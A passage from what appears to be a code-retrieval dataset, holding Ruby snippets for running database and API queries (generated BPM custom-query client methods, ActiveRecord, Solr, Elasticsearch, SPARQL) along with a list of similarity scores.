{}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def results_for_query(query)\n raise ArgumentError unless query.is_a?(Query)\n @results[query] ? @results[query] : []\n end",
"def mqlread_with_cursor(query, cursor, options={})\n params = { :query => query.to_json, :lang => \"/lang/#{@query_options[:lang]}\", :limit => @query_options[:limit], :cursor => cursor }.merge(options)\n response = get(surl('mqlread'), params, format: :json)\n {result: response['result'], cursor: response['cursor']}\n end",
"def perform_query(gql, period, query)\n behavior = query.behavior\n\n return behavior.fallback_value unless behavior.period_supported?(period)\n\n value = gql.public_send(:\"query_#{ period }\", query)\n\n # Rails 4.1 JSON encodes BigDecimal as a string. This is not part of\n # the ETEngine APIv3 spec.\n value = value.to_f if value.is_a?(BigDecimal)\n\n behavior.process_result(nan?(value) ? 0.0 : value)\n rescue Exception => exception\n # TODO Exception is *way* too low level to be rescued; we could do\n # with a GraphError exception for \"acceptable\" graph errors.\n @errors.push(\"#{ query.key }/#{ period } - #{ exception.message } | \" \\\n \"#{ exception.backtrace.join(\"\\n\") }\")\n nil\n end",
"def query\n @operation = :query\n self\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def mqlread(query, options = {})\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def run_query(query, options={})\n query = prepare_query query, options\n\n # Run the query\n response = self.__elasticsearch__.search query\n\n Hashie::Mash.new({\n records: response.records,\n total_entries: response.results.total\n })\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def query(tql)\n rid = tql[:rid]\n where = nil\n filter = nil\n if tql.has_key?(:where)\n w = tql[:where]\n where = w.is_a?(Array) ? ExprParser.parse(w) : w\n end\n filter = ExprParser.parse(tql[:filter]) if tql.has_key?(:filter)\n\n if tql.has_key?(:insert)\n insert(tql[:insert], rid, where, filter)\n elsif tql.has_key?(:update)\n update(tql[:update], rid, where, filter)\n elsif tql.has_key?(:delete)\n delete(tql[:delete], rid, where, filter)\n else\n select(tql[:select], rid, where, filter)\n end\n end",
"def query(q)\n @conn.query({url_path: \"#{database}/_find\", opts: q, method: :post})\n end",
"def exec_query(sql, name = 'SQL', binds = [])\n translate(sql) do |sql, args|\n unless binds.empty?\n args = binds.map { |col, val| type_cast(val, col) } + args\n end\n log(expand(sql, args), name) do\n result, rows = @connection.execute(sql, *args) { |cursor| [cursor.fields, cursor.fetchall] }\n if result.respond_to?(:map)\n cols = result.map { |col| col.name } \n ActiveRecord::Result.new(cols, rows)\n else\n result\n end\n end\n end\n end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def query(soql)\n response = api_get 'query', :q => soql\n mashify? ? response.body : response.body['records']\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def match(name)\n query(FindByString: name)\n end",
"def get_by_name(name, query={})\n\n # 空またnilの場合listと同じURLにリクエストしてしまい意図しないレスポンスが返ってくる\n if name.nil? || name.empty?\n raise Yao::InvalidRequest.new(\"Invalid request with empty name or nil\")\n end\n\n begin\n GET(create_url(name), query)\n rescue Yao::ItemNotFound, Yao::NotFound => e\n item = find_by_name(name).select { |r| r.name == name }\n if item.size > 1\n raise Yao::TooManyItemFonud.new(\"More than one resource exists with the name '#{name}'\")\n elsif item.size.zero?\n raise e\n end\n GET(create_url(item.first.id), query)\n end\n end",
"def query(query, args_or_dbname, params = {})\n query = transmute_data(query)\n args = args_or_dbname.is_a?(String) ? [db_alias(args_or_dbname)] : args_or_dbname\n args = transmute_data(args)\n get root_url(\"api/query\"), params.merge(:q => query, :args => args)\n end",
"def query(queryString)\n \t \tcheck_login\n \t\t\tquery = @client.request :query do\n \t \t\t\tsoap.header = { \"SessionHeader\" => { \"session\" => \"#{self.session}\" }}\n \t\t \t\tsoap.body = {\"queryString\" => queryString }\n \t\t\tend\n \t\t\t#query.to_hash\n \t\t\tqr = Zapi::QueryResponse.new(query.to_hash, self)\n \t\t\tqr.objects\n \tend",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def get_query(query_name, opts = {})\n data, _status_code, _headers = get_query_with_http_info(query_name, opts)\n return data\n end",
"def _query(*params)\n fail 'not implemented'\n end",
"def query!(name, type=Types.A, klass=Classes.IN, set_cd=@dnssec)\n response = nil; error = nil\n begin\n response = query(name, type, klass, set_cd)\n rescue => e\n error = e\n end\n [response, error]\n end",
"def index\n @rappers = Rapper.all\n end",
"def discover\n choria.pql_query(@query, true)\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def exec_query(sql, name = 'SQL', binds = [])\n log(sql, name, binds) do\n result = without_prepared_statement?(binds) ? exec_no_cache(sql) :\n exec_cache(sql, binds)\n result_array = result_as_array(result)\n if ActiveRecord::VERSION::MAJOR >= 4\n column_types = compute_field_types(result)\n ret = ActiveRecord::Result.new(result.fields, result_array, column_types)\n else\n ret = ActiveRecord::Result.new(result.fields, result_array)\n end\n result.clear\n ret\n end\n end",
"def query(q=\"\")\n\t\tif @connection != nil\n\t\t\t@data = MonetDBData.new(@connection)\n\t\t\t@data.execute(q)\n\t\tend\n\t\treturn @data\n\tend",
"def execute_query(sparql_query)\n puts \"Executing SPARQL Query: #{sparql_query} ...\"\n \n if sparql_query.include? \"DESCRIBE\"\n response = @repository.query(sparql_query, :result_type => RubySesame::DATA_TYPES[:N3]) \n puts response if @verbose\n end\n\n if sparql_query.include? \"SELECT\" \t\n response = @repository.query(sparql_query)\t\n puts response if @verbose\n end\n\n end",
"def find(qry)\n find_by_alias(qry) || find_by_id(qry) || find_by_jid(qry)\n end",
"def query\n unless @query\n parse_query()\n end\n @query\n end",
"def process_query(query)\n # Nothing in default\n end",
"def run()\n if @type.nil?\n output_available_query_types\n else\n output_query_results\n end\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def find(query)\n results = client.search(query)\n results.map{|result| RubyHub::Repository.new(client.mapping(result))}\n end",
"def query(query_string)\n results = FogTracker::Query::QueryProcessor.new(\n @trackers, :logger => @log\n ).execute(query_string)\n (results.each {|r| yield r}) if block_given?\n results\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def query(query_parameters)\n mediawiki('query', query_parameters)\n end",
"def map name, &block\n mapped_name, mapped_class = name.first\n mappings[mapped_name] =\n HotCocoa::Mappings::Mapper.map_instances_of mapped_class, mapped_name, &block\n end",
"def perform(query_id)\n query = Query.find(query_id)\n query.perform!\n end",
"def query(query, values)\n handle.exec(query, values)\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end"
] |
[
"0.7422529",
"0.6183426",
"0.5896972",
"0.5798822",
"0.5685007",
"0.544019",
"0.5319355",
"0.5224888",
"0.52176267",
"0.5212605",
"0.5209801",
"0.5180315",
"0.5123208",
"0.50934714",
"0.5091659",
"0.5085034",
"0.5085034",
"0.50740755",
"0.50318015",
"0.50300777",
"0.5011104",
"0.49565226",
"0.49500245",
"0.49481887",
"0.49471495",
"0.4943866",
"0.49339414",
"0.49088514",
"0.49050364",
"0.48832336",
"0.48674774",
"0.48631752",
"0.4861922",
"0.4827621",
"0.4794727",
"0.47632578",
"0.47625965",
"0.47357428",
"0.4731584",
"0.47162417",
"0.47148386",
"0.4714093",
"0.47060582",
"0.46913877",
"0.46909723",
"0.4681874",
"0.46715304",
"0.46690702",
"0.466846",
"0.46656114",
"0.46600482",
"0.465164",
"0.46486032",
"0.4645753",
"0.4629714",
"0.46234947",
"0.46031484",
"0.46017447",
"0.4597789",
"0.4593288",
"0.45894685",
"0.45798486",
"0.4579631",
"0.45731074",
"0.45717162",
"0.45641023",
"0.4562103",
"0.4553963",
"0.45536667",
"0.4551339",
"0.4539584",
"0.45363706",
"0.45359343",
"0.45303467",
"0.4526053",
"0.4516271",
"0.45121723",
"0.4510601",
"0.45058483",
"0.45021126",
"0.45019943",
"0.4495578",
"0.4493282",
"0.44895425",
"0.44831318",
"0.44813406",
"0.4472929",
"0.44689983",
"0.4463121",
"0.44580987",
"0.44566545",
"0.44540706",
"0.4448922",
"0.44464672",
"0.44464672",
"0.44453543",
"0.44370848",
"0.44281793",
"0.44166172",
"0.44132897"
] |
0.6294075
|
1
|
Queries using query definition identified by queryName. Maps the result to concrete objects based on provided mapper. Query is additional altered by the filter spec and/or builder
|
def run_query_filtered(query_name, mapper, opts = {})
data, _status_code, _headers = run_query_filtered_with_http_info(query_name, mapper, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run_query(query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_with_http_info(query_name, mapper, opts)\n return data\n end",
"def run_query_filtered_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/filtered-data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def run_query_with_http_info(query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}/data\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'orderBy'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Object>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def base_query_for(name)\n # Load issues\n query = mr_closing_issues_table.join(issue_table).on(issue_table[:id].eq(mr_closing_issues_table[:issue_id])).\n join(issue_metrics_table).on(issue_table[:id].eq(issue_metrics_table[:issue_id])).\n where(issue_table[:project_id].eq(@project.id)).\n where(issue_table[:deleted_at].eq(nil)).\n where(issue_table[:created_at].gteq(@from))\n\n query = query.where(build_table[:ref].eq(@branch)) if name == :test && @branch\n\n # Load merge_requests\n query = query.join(mr_table, Arel::Nodes::OuterJoin).\n on(mr_table[:id].eq(mr_closing_issues_table[:merge_request_id])).\n join(mr_metrics_table).\n on(mr_table[:id].eq(mr_metrics_table[:merge_request_id]))\n\n if DEPLOYMENT_METRIC_STAGES.include?(name)\n # Limit to merge requests that have been deployed to production after `@from`\n query.where(mr_metrics_table[:first_deployed_to_production_at].gteq(@from))\n end\n\n query\n end",
"def run_query_filtered_by_deployment_id(id, query_name, mapper, opts = {})\n data, _status_code, _headers = run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts)\n return data\n end",
"def query(name = nil, &block)\n Query.new(name, &block)\n end",
"def run_query_filtered_by_deployment_id_with_http_info(id, query_name, mapper, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.run_query_filtered_by_deployment_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # verify the required parameter 'mapper' is set\n if @api_client.config.client_side_validation && mapper.nil?\n fail ArgumentError, \"Missing the required parameter 'mapper' when calling CustomQueriesBPMApi.run_query_filtered_by_deployment_id\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/containers/{id}/query/{queryName}/filtered-data\".sub('{' + 'id' + '}', id.to_s).sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'mapper'] = mapper\n query_params[:'builder'] = opts[:'builder'] if !opts[:'builder'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#run_query_filtered_by_deployment_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query(query_definition)\n return\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def query_view(view_name, map_function, reduce_function, options)\n search_values = search_values(options)\n begin\n do_query_view(view_name, search_values)\n rescue DocumentNotFound\n create_view(view_name, map_function, reduce_function)\n do_query_view(view_name, search_values)\n end\n end",
"def map # :nologin: :norobots:\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n @query = create_query(:Observation, :of_name, :name => @name)\n @observations = @query.results.select {|o| o.lat or o.location}\n end\n end",
"def query(query)\n case query\n when RangeQuery\n get(\"query_range\", query.to_h)\n when SnapshotQuery\n get(\"query\", query.to_h)\n else\n raise RuntimeError, \"Unknown query type\" # The type system should catch this when we use it.\n end\n end",
"def apply_filters(query)\n query\n end",
"def make_query\n run_callbacks :make_query do\n self.scope.search(get_query_params)\n end\n end",
"def query\n return if @item[:query].present? # when :query excplicitly defined then no need to resolve matchers\n @item[:query] = cleanup(Query::Builder.for(item: @item))\n end",
"def query(*conditions)\n filters = (conditions + @mapping.conditions).compact.join(\" and \")\n filters = \" where #{filters}\" unless filters.empty?\n\n \"select #{lookups} from #{@record_type}#{filters}\"\n end",
"def query1\n @cquery = \"\"\n @tquery = \"\"\n if params[:condition_query].present?\n @cquery = params[:condition_query]\n responses = AlternateName.search(@cquery).records\n @conditions = []\n responses.each do |response|\n response.medical_conditions.each do |condition|\n @conditions << condition\n end\n end\n else\n @conditions = MedicalCondition.all\n end\n if params[:therapy_query].present?\n @tquery = params[:therapy_query]\n @therapies = MedicalTherapy.search(@tquery).records\n else\n @therapies = []\n end\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def query(query)\n check_reader\n\n Query.new(self, @reader, query)\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def raw_query( view_name, opts={} )\n opts = Gnash.new( opts ) unless opts.empty?\n doc_class = opts[:document_class]\n\n params = []\n params << 'include_docs=true' unless (opts[:select] && opts[:select] != 'all' || opts[:reduce])\n\n\n # TODO: this is according to couchdb really inefficent with large sets of data.\n # A better way would involve, using start and end keys with limit. But this\n # is a really hard one to figure with jumping around to different pages\n params << \"skip=#{opts[:offset]}\" if opts[:offset]\n params << \"limit=#{opts[:limit]}\" if opts[:limit]\n params << \"key=#{opts[:equals]}\" if opts[:equals]\n if opts[:order].to_s == 'desc' || opts[:order].to_s == 'descending'\n desc = true\n params << \"descending=true\"\n end\n if opts[:range] && opts[:range].size == 2\n params << \"startkey=#{opts[:range][desc == true ? 1 : 0 ]}\"\n params << \"endkey=#{opts[:range][desc == true ? 0 : 1]}\"\n end\n\n query_uri = \"#{uri}/_view/#{CGI.escape(view_name.to_s)}?\"\n query_uri << params.join('&')\n\n result = CouchSpring.get( query_uri )\n ResultSet.new( result, doc_class )\n end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def _query_map(object_type, hParams)\n return {} unless hParams\n\n object_type = object_type.to_sym if object_type.class == String\n\n result = {}\n maps = PrcLib.model.meta_obj.rh_get(object_type, :query_mapping)\n hParams.each do |key, value|\n key_path_obj = KeyPath.new(key)\n\n bold_action = ANSI.bold('ACTION REQUIRED')\n PrcLib.runtime_fail \"Forj query field '%s.%s' not defined by class\"\\\n \" '%s'.\\n#{bold_action}\"\\\n \":\\nMissing data model 'def_attribute' or \"\\\n \"'def_query_attribute' for '%s'??? \"\\\n \"Check the object '%s' data model.\",\n object_type, key_path_obj.key,\n self.class, key_path_obj.key,\n object_type unless maps.key?(key_path_obj.fpath)\n\n next if maps[key_path_obj.fpath].nil?\n\n map_path = KeyPath.new(maps[key_path_obj.fpath])\n _query_value_mapping(object_type, result, key_path_obj, map_path, value)\n end\n result\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def query\n @operation = :query\n self\n end",
"def data_by_query(query_params)\n post_request( \"/api/v2_1/api/persons/search\",\n Formatter::RequestFormatter.format_person_search_query_data(query_params))\n end",
"def get_query_with_http_info(query_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.get_query ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.get_query\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#get_query\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def apply_filter(query)\n query\n end",
"def apply_filter(query)\n query\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def query_def; query.name; end",
"def solr_query(query, options = {})\n query_options = generate_query_options(query, options)\n activerecord_options = extract_activerecord_options(options)\n SolrSearchable::Handler::Select.new(query_options, self, {:format => :raw}).execute\n end",
"def method_missing(method_name, *args, &block)\n if Query.instance_methods(false).include?(method_name)\n Query.new(self).send(method_name, *args, &block)\n else\n super\n end\n end",
"def results(base_query)\n return base_query if @filters.nil?\n base_query.where @filters\n end",
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def query(query=nil, options={})\n options = options.symbolize_keys\n query_params = query ? options.merge({ql: query}) : options\n self.get({params: query_params })\n self\n end",
"def query(params = nil, filters = nil)\n builder = ::Elastic::Query.new(params)\n builder.filter(filters) if filters\n builder\n end",
"def query(query)\n result = queries([query])\n return result[query]\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def index\r\n @query_params = {}\r\n\r\n build_query_params(params)\r\n build_query_consultant_params\r\n\r\n @conditions = []\r\n @conditions << Consultant.arel_table[:name].matches(\"%#{@query_params[:name]}%\") if @query_params[:name]\r\n\r\n if @conditions.length > 0\r\n conditions = @conditions[0]\r\n @conditions.each_with_index do |item, index|\r\n conditions = conditions.or(item) if index > 0\r\n end\r\n @conditions = conditions\r\n end\r\n\r\n respond_to do |format|\r\n format.html { set_consultants_grid(@conditions) }\r\n format.json { render json: Consultant.where(@conditions) }\r\n end\r\n end",
"def query\r\n query_name = @request.ole_methods.detect{|m| m.to_s =~ /Query\\Z/}\r\n return nil if query_name.nil?\r\n @request.send(query_name.to_s.to_sym)\r\n end",
"def query_for(source, other_query = nil)\n repository_name = relative_target_repository_name_for(source)\n\n DataMapper.repository(repository_name).scope do\n query = target_model.query.dup\n query.update(self.query)\n query.update(source_scope(source))\n query.update(other_query) if other_query\n query.update(:fields => query.fields | target_key)\n end\n end",
"def raw_query\n <<~GQL\n query ($workflowName: String, $customId: ID, $environmentName: String, $programmingLanguage: String) {\n findWorkflow(environmentName: $environmentName, programmingLanguage: $programmingLanguage, customId: $customId, name: $workflowName) {\n name\n properties\n }\n }\n GQL\n end",
"def process_query(query)\n # Nothing in default\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def custom_queries\n @custom_queries ||= ::Valkyrie::Persistence::CustomQueryContainer.new(query_service: self)\n end",
